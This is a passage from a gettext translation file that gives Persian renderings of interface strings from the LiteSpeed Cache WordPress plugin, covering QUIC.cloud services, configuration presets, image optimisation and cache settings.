msgstr "<strong>بهینه‌سازی صفحه</strong> سبک‌ها و عناصر بصری صفحه را برای بارگذاری سریع‌تر ساده می‌کند"

#: tpl/general/online.tpl.php:71
msgid "<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster."
msgstr "<strong>بهینه‌سازی تصویر</strong> اندازه فایل‌های تصویری کوچکتری به شما می‌دهد که سریع‌تر منتقل می‌شوند."

#: tpl/general/online.tpl.php:69
msgid "QUIC.cloud's Online Services improve your site in the following ways:"
msgstr "خدمات آنلاین QUIC.cloud سایت شما را به روش‌های زیر بهبود می‌بخشد:"

#: tpl/general/online.tpl.php:60
msgid "Speed up your WordPress site even further with QUIC.cloud Online Services and CDN."
msgstr "سایت وردپرس خود را با خدمات آنلاین QUIC.cloud و CDN حتی بیشتر سرعت ببخشید."

#: tpl/general/online.tpl.php:59
msgid "QUIC.cloud Integration Disabled"
msgstr "ادغام QUIC.cloud غیرفعال است"

#: tpl/general/online.tpl.php:22
msgid "QUIC.cloud Online Services"
msgstr "خدمات آنلاین QUIC.cloud"

#: tpl/general/entry.tpl.php:16 tpl/general/online.tpl.php:68
msgid "Online Services"
msgstr "خدمات آنلاین"

#: tpl/db_optm/manage.tpl.php:186
msgid "Autoload"
msgstr "بارگذاری خودکار"

#: tpl/dash/dashboard.tpl.php:886
msgid "Refresh QUIC.cloud status"
msgstr "بارگذاری مجدد وضعیت QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:445 tpl/dash/dashboard.tpl.php:510
msgid "Refresh"
msgstr "بارگذاری مجدد"

#: tpl/dash/dashboard.tpl.php:418
msgid "You must be using one of the following products in order to measure Page Load Time:"
msgstr "شما باید یکی از محصولات زیر را برای اندازه‌گیری زمان بارگذاری صفحه استفاده کنید:"

#: tpl/dash/dashboard.tpl.php:181
msgid "Refresh Usage"
msgstr "به‌روزرسانی استفاده"

#: tpl/dash/dashboard.tpl.php:128 tpl/dash/dashboard.tpl.php:907
msgid "News"
msgstr "خبرها"

#: tpl/crawler/summary.tpl.php:28
msgid "You need to set the %s in Settings first before using the crawler"
msgstr "شما ابتدا باید %s را در تنظیمات تنظیم کنید قبل از اینکه از خزنده استفاده کنید"

#: tpl/crawler/settings.tpl.php:136
msgid "You must set %1$s to %2$s before using this feature."
msgstr "شما باید %1$s را به %2$s تنظیم کنید قبل از اینکه از این ویژگی استفاده کنید"

#: tpl/crawler/settings.tpl.php:116 tpl/crawler/summary.tpl.php:211
msgid "You must set %s before using this feature."
msgstr "شما باید %s را قبل از استفاده از این ویژگی تنظیم کنید"

#: tpl/cdn/qc.tpl.php:139 tpl/cdn/qc.tpl.php:146
msgid "My QUIC.cloud Dashboard"
msgstr "داشبورد QUIC.cloud من"

#: tpl/cdn/qc.tpl.php:130
msgid "You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard."
msgstr "شما در حال حاضر به عنوان یک کاربر ناشناس از خدمات استفاده می‌کنید. برای مدیریت گزینه‌های QUIC.cloud خود، از دکمه زیر برای ایجاد حساب کاربری و لینک به داشبورد QUIC.cloud استفاده کنید"

#: tpl/cdn/qc.tpl.php:123 tpl/cdn/qc.tpl.php:143
msgid "To manage your QUIC.cloud options, go to QUIC.cloud Dashboard."
msgstr "برای مدیریت گزینه‌های QUIC.cloud خود، به داشبورد QUIC.cloud بروید"

#: tpl/cdn/qc.tpl.php:119
msgid "To manage your QUIC.cloud options, please contact your hosting provider."
msgstr "برای مدیریت گزینه‌های QUIC.cloud خود، لطفاً با ارائه‌دهنده میزبانی خود تماس بگیرید"

#: tpl/cdn/qc.tpl.php:117
msgid "To manage your QUIC.cloud options, go to your hosting provider's portal."
msgstr "برای مدیریت گزینه‌های QUIC.cloud خود، به پرتال ارائه‌دهنده میزبانی خود بروید."

#: tpl/cdn/qc.tpl.php:96
msgid "QUIC.cloud CDN Options"
msgstr "گزینه‌های CDN QUIC.cloud"

#. translators: %s: Link tags
#: tpl/cdn/qc.tpl.php:79
msgid "Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!"
msgstr "بهترین عملکرد موجود وردپرس، TTFB سریع جهانی، راه‌اندازی آسان و <a %s>بیشتر</a>!"

#: tpl/cdn/qc.tpl.php:73
msgid "no matter where they live."
msgstr "مهم نیست کجا زندگی می‌کنند."

#: tpl/cdn/qc.tpl.php:71
msgid "Content Delivery Network Service"
msgstr "خدمات شبکه تحویل محتوا"

#: tpl/cdn/qc.tpl.php:61 tpl/dash/dashboard.tpl.php:856
msgid "Enable QUIC.cloud CDN"
msgstr "فعال‌سازی CDN QUIC.cloud"

#: tpl/cdn/qc.tpl.php:59
msgid "Link & Enable QUIC.cloud CDN"
msgstr "لینک و فعال‌سازی CDN QUIC.cloud"

#: tpl/cdn/qc.tpl.php:55
msgid "QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users."
msgstr "CDN QUIC.cloud برای کاربران ناشناس (بدون لینک) <strong>قابل دسترسی نیست</strong>."

#: tpl/cdn/qc.tpl.php:53
msgid "QUIC.cloud CDN is currently <strong>fully disabled</strong>."
msgstr "CDN QUIC.cloud در حال حاضر <strong>کاملاً غیرفعال</strong> است."

#: tpl/cdn/qc.tpl.php:46 tpl/dash/dashboard.tpl.php:168
msgid "Learn More about QUIC.cloud"
msgstr "بیشتر درباره QUIC.cloud بیاموزید"

#: tpl/cdn/qc.tpl.php:45 tpl/dash/dashboard.tpl.php:166
#: tpl/general/online.tpl.php:26
msgid "QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud."
msgstr "QUIC.cloud خدمات CDN و بهینه‌سازی آنلاین ارائه می‌دهد و الزامی نیست. شما می‌توانید بسیاری از ویژگی‌های این پلاگین را بدون QUIC.cloud استفاده کنید"

#: tpl/cdn/qc.tpl.php:41 tpl/dash/dashboard.tpl.php:158
#: tpl/general/online.tpl.php:64 tpl/general/online.tpl.php:119
msgid "Enable QUIC.cloud services"
msgstr "خدمات QUIC.cloud را فعال کنید"

#: tpl/cdn/qc.tpl.php:38 tpl/general/online.tpl.php:61
#: tpl/general/online.tpl.php:145
msgid "Free monthly quota available."
msgstr "حجم ماهانه رایگان در دسترس است."

#: tpl/cdn/qc.tpl.php:36 tpl/dash/dashboard.tpl.php:150
msgid "Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>."
msgstr "سایت وردپرس خود را با <strong>خدمات آنلاین QUIC.cloud و CDN</strong> حتی بیشتر سرعت ببخشید."

#: tpl/cdn/qc.tpl.php:34 tpl/dash/dashboard.tpl.php:146
msgid "Accelerate, Optimize, Protect"
msgstr "شتاب دهید، بهینه کنید، محافظت کنید"

#: tpl/cdn/qc.tpl.php:29
msgid "Check the status of your most important settings and the health of your CDN setup here."
msgstr "وضعیت مهم‌ترین تنظیمات و سلامت تنظیمات CDN خود را اینجا بررسی کنید."

#: tpl/cdn/qc.tpl.php:27
msgid "QUIC.cloud CDN Status Overview"
msgstr "بررسی وضعیت CDN QUIC.cloud"

#: tpl/cdn/qc.tpl.php:24 tpl/dash/dashboard.tpl.php:885
msgid "Refresh Status"
msgstr "وضعیت را تازه کنید"

#: tpl/cdn/entry.tpl.php:16
msgid "Other Static CDN"
msgstr "CDN استاتیک دیگر"

#: tpl/banner/new_version.php:113 tpl/banner/score.php:141
#: tpl/banner/slack.php:48
msgid "Dismiss this notice."
msgstr "این اعلان را نادیده بگیرید."

#: tpl/banner/cloud_promo.tpl.php:35
msgid "Send to twitter to get %s bonus"
msgstr "به توییتر ارسال کنید تا %s پاداش بگیرید"

#: tpl/banner/cloud_promo.tpl.php:26
msgid "Spread the love and earn %s credits to use in our QUIC.cloud online services."
msgstr "عشق را گسترش دهید و %s اعتبار برای استفاده در خدمات آنلاین QUIC.cloud کسب کنید"

#: src/media.cls.php:434
msgid "No backup of unoptimized AVIF file exists."
msgstr "هیچ نسخه پشتیبانی از فایل AVIF بهینه‌نشده وجود ندارد."

#: src/media.cls.php:426
msgid "AVIF saved %s"
msgstr "فایل AVIF ذخیره شد %s"

#: src/media.cls.php:420
msgid "AVIF file reduced by %1$s (%2$s)"
msgstr "فایل AVIF به میزان %1$s کاهش یافته است (%2$s)"

#: src/media.cls.php:411
msgid "Currently using original (unoptimized) version of AVIF file."
msgstr "در حال حاضر از نسخه اصلی (غیر بهینه‌سازی شده) فایل AVIF استفاده می‌شود."

#: src/media.cls.php:404
msgid "Currently using optimized version of AVIF file."
msgstr "در حال حاضر از نسخه بهینه‌سازی شده فایل AVIF استفاده می‌شود."

#: src/lang.cls.php:214
msgid "WebP/AVIF For Extra srcset"
msgstr "WebP/AVIF برای srcset اضافی"

#: src/lang.cls.php:209
msgid "Next-Gen Image Format"
msgstr "فرمت تصویر نسل بعد"

#: src/img-optm.cls.php:2027
msgid "Enabled AVIF file successfully."
msgstr "فایل AVIF با موفقیت فعال شد."

#: src/img-optm.cls.php:2022
msgid "Disabled AVIF file successfully."
msgstr "فایل AVIF با موفقیت غیرفعال شد."

#: src/img-optm.cls.php:1374
msgid "Reset image optimization counter successfully."
msgstr "شمارنده بهینه‌سازی تصویر با موفقیت بازنشانی شد."

#: src/file.cls.php:133
msgid "Filename is empty!"
msgstr "نام فایل خالی است!"

#: src/error.cls.php:69
msgid "You will need to finish %s setup to use the online services."
msgstr "شما باید راه‌اندازی %s را برای استفاده از خدمات آنلاین کامل کنید."

#: src/cloud.cls.php:2029
msgid "Sync QUIC.cloud status successfully."
msgstr "وضعیت QUIC.cloud با موفقیت همگام‌سازی شد."

#: src/cloud.cls.php:1977
msgid "Linked to QUIC.cloud preview environment, for testing purpose only."
msgstr "متصل به محیط پیش‌نمایش QUIC.cloud، فقط برای اهداف آزمایشی."

#: src/cloud.cls.php:1710
msgid "Click here to proceed."
msgstr "برای ادامه اینجا کلیک کنید."

#: src/cloud.cls.php:1709
msgid "Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account."
msgstr "سایت شناسایی نشد. QUIC.cloud به‌صورت خودکار غیرفعال شد. لطفاً حساب QUIC.cloud خود را دوباره فعال کنید."

#: src/cloud.cls.php:708
msgid "Reset %s activation successfully."
msgstr "فعال‌سازی %s با موفقیت بازنشانی شد."

#: src/cloud.cls.php:602 src/cloud.cls.php:640 src/cloud.cls.php:680
msgid "Congratulations, %s successfully set this domain up for the online services with CDN service."
msgstr "تبریک! %s با موفقیت این دامنه را برای خدمات آنلاین با سرویس CDN راه‌اندازی کرد."

#: src/cloud.cls.php:597
msgid "Congratulations, %s successfully set this domain up for the online services."
msgstr "تبریک می‌گوییم، %s این دامنه را برای خدمات آنلاین با موفقیت راه‌اندازی کرد."

#: src/cloud.cls.php:595
msgid "Congratulations, %s successfully set this domain up for the anonymous online services."
msgstr "تبریک می‌گوییم، %s این دامنه را برای خدمات آنلاین ناشناس با موفقیت راه‌اندازی کرد."

#: src/cloud.cls.php:573
msgid "%s activation data expired."
msgstr "داده‌های فعال‌سازی %s منقضی شده است."

#: src/cloud.cls.php:566
msgid "Failed to parse %s activation status."
msgstr "تحلیل وضعیت فعال‌سازی %s ناموفق بود."

#: src/cloud.cls.php:559
msgid "Failed to validate %s activation data."
msgstr "اعتبارسنجی داده‌های فعال‌سازی %s ناموفق بود."

#: src/cloud.cls.php:300
msgid "Cert or key file does not exist."
msgstr "فایل گواهی یا کلید وجود ندارد"

#: src/cloud.cls.php:282 src/cloud.cls.php:328 src/cloud.cls.php:355
#: src/cloud.cls.php:371 src/cloud.cls.php:390 src/cloud.cls.php:408
msgid "You need to activate QC first."
msgstr "شما ابتدا باید QC را فعال کنید"

#: src/cloud.cls.php:238 src/cloud.cls.php:290
msgid "You need to set the %1$s first. Please use the command %2$s to set."
msgstr "شما ابتدا باید %1$s را تنظیم کنید. لطفاً از دستور %2$s برای تنظیم استفاده کنید"

#: src/cloud.cls.php:180 src/cloud.cls.php:260
msgid "Failed to get echo data from WPAPI"
msgstr "نتوانستیم داده‌های اکو را از WPAPI دریافت کنیم"

#: src/admin-settings.cls.php:104
msgid "The user with id %s has editor access, which is not allowed for the role simulator."
msgstr "کاربر با شناسه %s دسترسی ویرایشگر دارد که برای نقش شبیه‌ساز مجاز نیست"

#: src/error.cls.php:95
msgid "You have used all of your quota left for current service this month."
msgstr "شما تمام سهمیه باقی‌مانده خود را برای خدمات جاری در این ماه استفاده کرده‌اید."

#: src/error.cls.php:87 src/error.cls.php:100
msgid "Learn more or purchase additional quota."
msgstr "بیشتر بیاموزید یا سهمیه اضافی خریداری کنید."

#: src/error.cls.php:82
msgid "You have used all of your daily quota for today."
msgstr "شما تمام سهمیه روزانه خود را برای امروز استفاده کرده‌اید."

#: tpl/page_optm/settings_html.tpl.php:108
msgid "If comment to be kept is like: %1$s write: %2$s"
msgstr "اگر نظری که باید نگه داشته شود مانند: %s بنویسید: %s"

#: tpl/page_optm/settings_html.tpl.php:106
msgid "When minifying HTML do not discard comments that match a specified pattern."
msgstr "هنگام فشرده‌سازی HTML، نظراتی که با الگوی مشخصی مطابقت دارند را حذف نکنید"

#: tpl/cache/settings-advanced.tpl.php:39
msgid "Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space."
msgstr "یک عمل AJAX را در POST/GET مشخص کنید و تعداد ثانیه‌ها برای کش کردن آن درخواست را با یک فاصله جدا کنید."

#: src/lang.cls.php:150
msgid "HTML Keep Comments"
msgstr "HTML نگه داشتن نظرات"

#: src/lang.cls.php:98
msgid "AJAX Cache TTL"
msgstr "TTL کش AJAX"

#: src/error.cls.php:112
msgid "You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now."
msgstr "شما تصاویری دارید که منتظر بارگیری هستند. لطفاً منتظر بمانید تا بارگیری خودکار کامل شود، یا اکنون آن‌ها را به صورت دستی بارگیری کنید"

#: tpl/db_optm/manage.tpl.php:26
msgid "Clean all orphaned post meta records"
msgstr "تمام رکوردهای متای پست یتیم را پاک کنید"

#: tpl/db_optm/manage.tpl.php:25
msgid "Orphaned Post Meta"
msgstr "متای پست یتیم"

#: tpl/dash/dashboard.tpl.php:863
msgid "Best available WordPress performance"
msgstr "بهترین عملکرد وردپرس دردسترس"

#: src/db-optm.cls.php:203
msgid "Clean orphaned post meta successfully."
msgstr "متاهای پست یتیم را با موفقیت پاک کنید"

#: tpl/img_optm/summary.tpl.php:325
msgid "Last Pulled"
msgstr "آخرین کشیده شده"

#: tpl/cache/settings_inc.login_cookie.tpl.php:104
msgid "You can list the 3rd party vary cookies here."
msgstr "شما می‌توانید کوکی‌های متفاوت شخص ثالث را در اینجا فهرست کنید."

#: src/lang.cls.php:227
msgid "Vary Cookies"
msgstr "کوکی‌ها را تغییر دهید"

#: tpl/page_optm/settings_html.tpl.php:75
msgid "Preconnecting speeds up future loads from a given origin."
msgstr "پیش‌اتصال بارگذاری‌های آینده را از یک منبع مشخص تسریع می‌کند."

#: thirdparty/woocommerce.content.tpl.php:72
msgid "If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents."
msgstr "اگر تم شما از JS برای به‌روزرسانی مینی کارت استفاده نمی‌کند، باید این گزینه را فعال کنید تا محتوای صحیح سبد خرید نمایش داده شود."

#: thirdparty/woocommerce.content.tpl.php:71
msgid "Generate a separate vary cache copy for the mini cart when the cart is not empty."
msgstr "یک نسخه جداگانه از کش متغیر برای مینی کارت زمانی که سبد خرید خالی نیست تولید کنید."

#: thirdparty/woocommerce.content.tpl.php:63
msgid "Vary for Mini Cart"
msgstr "Vary for Mini Cart"

#: src/lang.cls.php:160
msgid "DNS Preconnect"
msgstr "DNS Preconnect"

#: src/doc.cls.php:38
msgid "This setting is %1$s for certain qualifying requests due to %2$s!"
msgstr "این تنظیم به دلیل %2$s برای برخی درخواست‌های واجد شرایط %1$s است!"

#: tpl/page_optm/settings_tuning.tpl.php:43
msgid "Listed JS files or inline JS code will be delayed."
msgstr "فایل‌های JS فهرست‌شده یا کد JS توکار با تاخیر لود می‌شوند."

#: tpl/crawler/map.tpl.php:58
msgid "URL Search"
msgstr "جستجوی URL"

#: src/lang.cls.php:162
msgid "JS Delayed Includes"
msgstr "موارد تأخیری JS شامل"

#: src/cloud.cls.php:1495
msgid "Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more."
msgstr "کلید دامنه شما به طور موقت در لیست سیاه قرار گرفته است تا از سوءاستفاده جلوگیری شود. می‌توانید با پشتیبانی در QUIC.cloud تماس بگیرید تا اطلاعات بیشتری کسب کنید."

#: src/cloud.cls.php:1490
msgid "Cloud server refused the current request due to unpulled images. Please pull the images first."
msgstr "سرور ابری درخواست فعلی را به دلیل تصاویر بارگذاری نشده رد کرد. لطفاً ابتدا تصاویر را بارگذاری کنید."

#: tpl/crawler/summary.tpl.php:110
msgid "Current server load"
msgstr "بار فعلی سرور"

#: src/object-cache.cls.php:714
msgid "Redis encountered a fatal error: %1$s (code: %2$d)"
msgstr "Redis با یک خطای بحرانی مواجه شد: %s (کد: %d)"

#: src/img-optm.cls.php:890
msgid "Started async image optimization request"
msgstr "درخواست بهینه‌سازی تصویر غیرهمزمان آغاز شد"

#: src/crawler.cls.php:230
msgid "Started async crawling"
msgstr "خزیدن غیرهمزمان آغاز شد"

#: src/conf.cls.php:509
msgid "Saving option failed. IPv4 only for %s."
msgstr "ذخیره گزینه ناموفق بود. فقط IPv4 برای %s."

#: src/cloud.cls.php:1502
msgid "Cloud server refused the current request due to rate limiting. Please try again later."
msgstr "سرور ابری درخواست فعلی را به دلیل محدودیت نرخ رد کرد. لطفاً بعداً دوباره تلاش کنید."

#: tpl/img_optm/summary.tpl.php:298
msgid "Maximum image post id"
msgstr "حداکثر شناسه نوشته تصویر"

#: tpl/img_optm/summary.tpl.php:297 tpl/img_optm/summary.tpl.php:372
msgid "Current image post id position"
msgstr "موقعیت شناسه نوشته فعلی تصویر"

#: src/lang.cls.php:25
msgid "Images ready to request"
msgstr "تصاویر آماده درخواست"

#: tpl/dash/dashboard.tpl.php:384 tpl/general/online.tpl.php:31
#: tpl/img_optm/summary.tpl.php:54 tpl/img_optm/summary.tpl.php:56
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Redetect"
msgstr "شناسایی مجدد"

#. translators: %1$s: Socket name, %2$s: Host field title, %3$s: Example socket
#. path
#. translators: %1$s: Socket name, %2$s: Port field title, %3$s: Port value
#: tpl/cache/settings_inc.object.tpl.php:107
#: tpl/cache/settings_inc.object.tpl.php:146
msgid "If you are using a %1$s socket, %2$s should be set to %3$s"
msgstr "اگر از سوکت %1$s استفاده می‌کنید، %2$s باید روی %3$s تنظیم شود"

#: src/root.cls.php:198
msgid "All QUIC.cloud service queues have been cleared."
msgstr "تمام صف‌های سرویس QUIC.cloud پاک شد."

#. translators: %s: The type of the given cache key.
#: src/object-cache-wp.cls.php:245
msgid "Cache key must be integer or non-empty string, %s given."
msgstr "کلید کش باید عدد صحیح یا رشته غیر خالی باشد، %s داده شده."

#: src/object-cache-wp.cls.php:242
msgid "Cache key must not be an empty string."
msgstr "کلید کش نباید رشته خالی باشد."

#: src/lang.cls.php:171
msgid "JS Deferred / Delayed Excludes"
msgstr "استثنائات JS Deferred / Delayed"

#: src/doc.cls.php:153
msgid "The queue is processed asynchronously. It may take time."
msgstr "صف به صورت غیرهمزمان پردازش می‌شود. ممکن است زمان ببرد."

#: src/cloud.cls.php:1190
msgid "In order to use QC services, need a real domain name, cannot use an IP."
msgstr "برای استفاده از خدمات QC، به یک نام دامنه واقعی نیاز است، نمی‌توان از یک IP استفاده کرد."

#: tpl/presets/standard.tpl.php:195
msgid "Restore Settings"
msgstr "بازنشانی تنظیمات"

#: tpl/presets/standard.tpl.php:193
msgid "This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?"
msgstr "این تنظیمات پشتیبان که %1$s ایجاد شده است را قبل از اعمال پیش‌تنظیم %2$s بازیابی خواهد کرد. هر تغییری که از آن زمان انجام شده باشد از دست خواهد رفت. آیا می‌خواهید ادامه دهید؟"

#: tpl/presets/standard.tpl.php:189
msgid "Backup created %1$s before applying the %2$s preset"
msgstr "پشتیبان‌گیری در %1$s قبل از اعمال پیش‌فرض %2$s ایجاد شد"

#: tpl/presets/standard.tpl.php:178
msgid "Applied the %1$s preset %2$s"
msgstr "پیش‌فرض %1$s %2$s اعمال شد"

#: tpl/presets/standard.tpl.php:175
msgid "Restored backup settings %1$s"
msgstr "تنظیمات پشتیبان %1$s بازیابی شد"

#: tpl/presets/standard.tpl.php:173
msgid "Error: Failed to apply the settings %1$s"
msgstr "خطا: اعمال تنظیمات %1$s ناموفق بود"

#: tpl/presets/standard.tpl.php:163
msgid "History"
msgstr "تاریخچه"

#: tpl/presets/standard.tpl.php:152
msgid "unknown"
msgstr "ناشناخته"

#: tpl/presets/standard.tpl.php:133
msgid "Apply Preset"
msgstr "اعمال پیش‌فرض"

#: tpl/presets/standard.tpl.php:131
msgid "This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?"
msgstr "این تنظیمات فعلی شما را پشتیبان‌گیری کرده و با تنظیمات پیش‌فرض %1$s جایگزین می‌کند. آیا می‌خواهید ادامه دهید؟"

#: tpl/presets/standard.tpl.php:121
msgid "Who should use this preset?"
msgstr "چه کسی باید از این پیش تنظیم استفاده کند؟"

#: tpl/presets/standard.tpl.php:96
msgid "Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between."
msgstr "از یک پیش‌تنظیم طراحی شده توسط LiteSpeed رسمی برای پیکربندی سایت خود در یک کلیک استفاده کنید. سعی کنید ملزومات کش بدون ریسک، بهینه‌سازی شدید یا چیزی در میان آن را امتحان کنید"

#: tpl/presets/standard.tpl.php:92
msgid "LiteSpeed Cache Standard Presets"
msgstr "تنظیمات از پیش تعیین شده استاندارد کش لایت اسپید"

#: tpl/presets/standard.tpl.php:85
msgid "A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores."
msgstr "برای استفاده از این تنظیمات از پیش تعیین‌شده، اتصال QUIC.cloud مورد نیاز است. حداکثر سطح بهینه‌سازی را برای بهبود امتیاز سرعت صفحه(Pagespeed) فعال می‌کند."

#: tpl/presets/standard.tpl.php:84
msgid "This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images."
msgstr "این پیش‌تنظیم تقریباً مطمئناً به آزمایش و استثناهایی برای برخی از CSS، JS و تصاویر بارگذاری شده به‌صورت تنبل نیاز دارد. به لوگوها یا تصاویر اسلایدری مبتنی بر HTML توجه ویژه‌ای داشته باشید"

#: tpl/presets/standard.tpl.php:81
msgid "Inline CSS added to Combine"
msgstr "CSS درون‌خط به ترکیب اضافه شد"

#: tpl/presets/standard.tpl.php:80
msgid "Inline JS added to Combine"
msgstr "JS درون‌خط به ترکیب اضافه شد"

#: tpl/presets/standard.tpl.php:79
msgid "JS Delayed"
msgstr "JS با تأخیر"

#: tpl/presets/standard.tpl.php:78
msgid "Viewport Image Generation"
msgstr "تولید تصویر نمای دید"

#: tpl/presets/standard.tpl.php:77
msgid "Lazy Load for Images"
msgstr "بارگذاری تنبل برای تصاویر"

#: tpl/presets/standard.tpl.php:76
msgid "Everything in Aggressive, Plus"
msgstr "همه چیز در حالت تهاجمی، به علاوه"

#: tpl/presets/standard.tpl.php:74
msgid "Extreme"
msgstr "افراطی"

#: tpl/presets/standard.tpl.php:69
msgid "This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning."
msgstr "این پیش‌تنظیم ممکن است به‌طور پیش‌فرض برای برخی وب‌سایت‌ها کار کند، اما حتماً آزمایش کنید! برخی از استثنائات CSS یا JS ممکن است در بهینه‌سازی صفحه > تنظیمات ضروری باشد"

#: tpl/presets/standard.tpl.php:66
msgid "Lazy Load for Iframes"
msgstr "بارگذاری تنبل برای iframe ها"

#: tpl/presets/standard.tpl.php:65
msgid "Removed Unused CSS for Users"
msgstr "CSS غیرقابل استفاده برای کاربران حذف شد"

#: tpl/presets/standard.tpl.php:64
msgid "Asynchronous CSS Loading with Critical CSS"
msgstr "بارگذاری CSS غیرهمزمان با CSS بحرانی"

#: tpl/presets/standard.tpl.php:63
msgid "CSS & JS Combine"
msgstr "ترکیب JS و CSS"

#: tpl/presets/standard.tpl.php:62
msgid "Everything in Advanced, Plus"
msgstr "همه چیز در پیشرفته، پلاس"

#: tpl/presets/standard.tpl.php:60
msgid "Aggressive"
msgstr "تهاجمی"

#: tpl/presets/standard.tpl.php:56 tpl/presets/standard.tpl.php:70
msgid "A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores."
msgstr "برای استفاده از این تنظیمات از پیش تعیین‌شده، اتصال QUIC.cloud مورد نیاز است. شامل بسیاری از بهینه‌سازی‌های شناخته‌شده برای بهبود امتیاز سرعت صفحه است."

#: tpl/presets/standard.tpl.php:55
msgid "This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning tools."
msgstr "این پیش‌تنظیم برای اکثر وب‌سایت‌ها مناسب است و به احتمال زیاد باعث تداخل نمی‌شود. هرگونه تداخل CSS یا JS ممکن است با بهینه‌سازی صفحه > ابزارهای تنظیم حل شود."

#: tpl/presets/standard.tpl.php:50
msgid "Remove Query Strings from Static Files"
msgstr "حذف رشته‌های پرس و جو از فایل‌های استاتیک"

#: tpl/presets/standard.tpl.php:48
msgid "DNS Prefetch for static files"
msgstr "پیش‌بارگذاری DNS برای فایل‌های استاتیک"

#: tpl/presets/standard.tpl.php:47
msgid "JS Defer for both external and inline JS"
msgstr "تأخیر JS برای JS خارجی و درون‌خط"

#: tpl/presets/standard.tpl.php:45
msgid "CSS, JS and HTML Minification"
msgstr "فشرده‌سازی CSS، JS و HTML"

#: tpl/presets/standard.tpl.php:44
msgid "Guest Mode and Guest Optimization"
msgstr "حالت مهمان و بهینه‌سازی مهمان"

#: tpl/presets/standard.tpl.php:43
msgid "Everything in Basic, Plus"
msgstr "همه چیز در Basic و Plus"

#: tpl/presets/standard.tpl.php:41
msgid "Advanced (Recommended)"
msgstr "پیشرفته (پیشنهادی)"

#: tpl/presets/standard.tpl.php:36
msgid "This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners."
msgstr "این پیش تنظیم کم خطر از پیش تعیین شده بهینه سازی‌های اساسی را برای سرعت و تجربه کاربر معرفی می کند. مناسب برای مبتدیان علاقه‌مند."

#: tpl/presets/standard.tpl.php:33
msgid "Mobile Cache"
msgstr "کش موبایل"

#: tpl/presets/standard.tpl.php:31
msgid "Everything in Essentials, Plus"
msgstr "همه موارد ملزومات، به اضافه"

#: tpl/presets/standard.tpl.php:25
msgid "A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled."
msgstr "برای استفاده از این تنظیمات پیش‌فرض، نیازی به اتصال QUIC.cloud نیست. فقط ویژگی‌های ذخیره‌سازی اولیه فعال هستند."

#: tpl/presets/standard.tpl.php:24
msgid "This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development."
msgstr "این پیش تنظیم بدون خطر برای همه وب سایت ها مناسب است. برای کاربران جدید، وب‌سایت‌های ساده یا توسعه مبتنی بر حافظه پنهان خوب است."

#: tpl/presets/standard.tpl.php:20
msgid "Higher TTL"
msgstr "TTL بالاتر"

#: tpl/presets/standard.tpl.php:19
msgid "Default Cache"
msgstr "کش پیشفرض"

#: tpl/presets/standard.tpl.php:17
msgid "Essentials"
msgstr "ملزومات"

#: tpl/presets/entry.tpl.php:23
msgid "LiteSpeed Cache Configuration Presets"
msgstr "پیکربندی از پیش تعیین شده کش لایت اسپید"

#: tpl/presets/entry.tpl.php:16
msgid "Standard Presets"
msgstr "پیش‌تنظیمات استاندارد"

#: tpl/page_optm/settings_tuning_css.tpl.php:52
msgid "Listed CSS files will be excluded from UCSS and saved to inline."
msgstr "فایل‌های CSS فهرست‌شده از UCSS مستثنی شده و به صورت درون‌خط ذخیره خواهند شد"

#: src/lang.cls.php:142
msgid "UCSS Selector Allowlist"
msgstr "فهرست مجاز انتخابگر UCSS"

#: src/admin-display.cls.php:252
msgid "Presets"
msgstr "از پیش تعیین شده"

#: tpl/dash/dashboard.tpl.php:310
msgid "Partner Benefits Provided by"
msgstr "مزایای شریک ارائه شده توسط"

#: tpl/toolbox/log_viewer.tpl.php:35
msgid "LiteSpeed Logs"
msgstr "گزارشات لایت اسپید"

#: tpl/toolbox/log_viewer.tpl.php:28
msgid "Crawler Log"
msgstr "لاگ خزنده"

#: tpl/toolbox/log_viewer.tpl.php:23
msgid "Purge Log"
msgstr "حذف لاگ"

#: tpl/toolbox/settings-debug.tpl.php:188
msgid "Prevent writing log entries that include listed strings."
msgstr "جلوگیری از نوشتن ورودی‌های لاگ که شامل رشته‌های لیست‌شده هستند."

#: tpl/toolbox/settings-debug.tpl.php:27
msgid "View Site Before Cache"
msgstr "مشاهده سایت قبل از کش"

#: tpl/toolbox/settings-debug.tpl.php:23
msgid "View Site Before Optimization"
msgstr "مشاهده سایت قبل از بهینه سازی"

#: tpl/toolbox/settings-debug.tpl.php:19
msgid "Debug Helpers"
msgstr "ابزارهای اشکال‌زدایی"

#: tpl/page_optm/settings_vpi.tpl.php:122
msgid "Enable Viewport Images auto generation cron."
msgstr "فعال‌سازی کرون تولید خودکار تصاویر نمای."

#: tpl/page_optm/settings_vpi.tpl.php:39
msgid "This enables the page's initial screenful of imagery to be fully displayed without delay."
msgstr "این امکان را می‌دهد که تصویر اولیه صفحه به‌طور کامل بدون تأخیر نمایش داده شود."
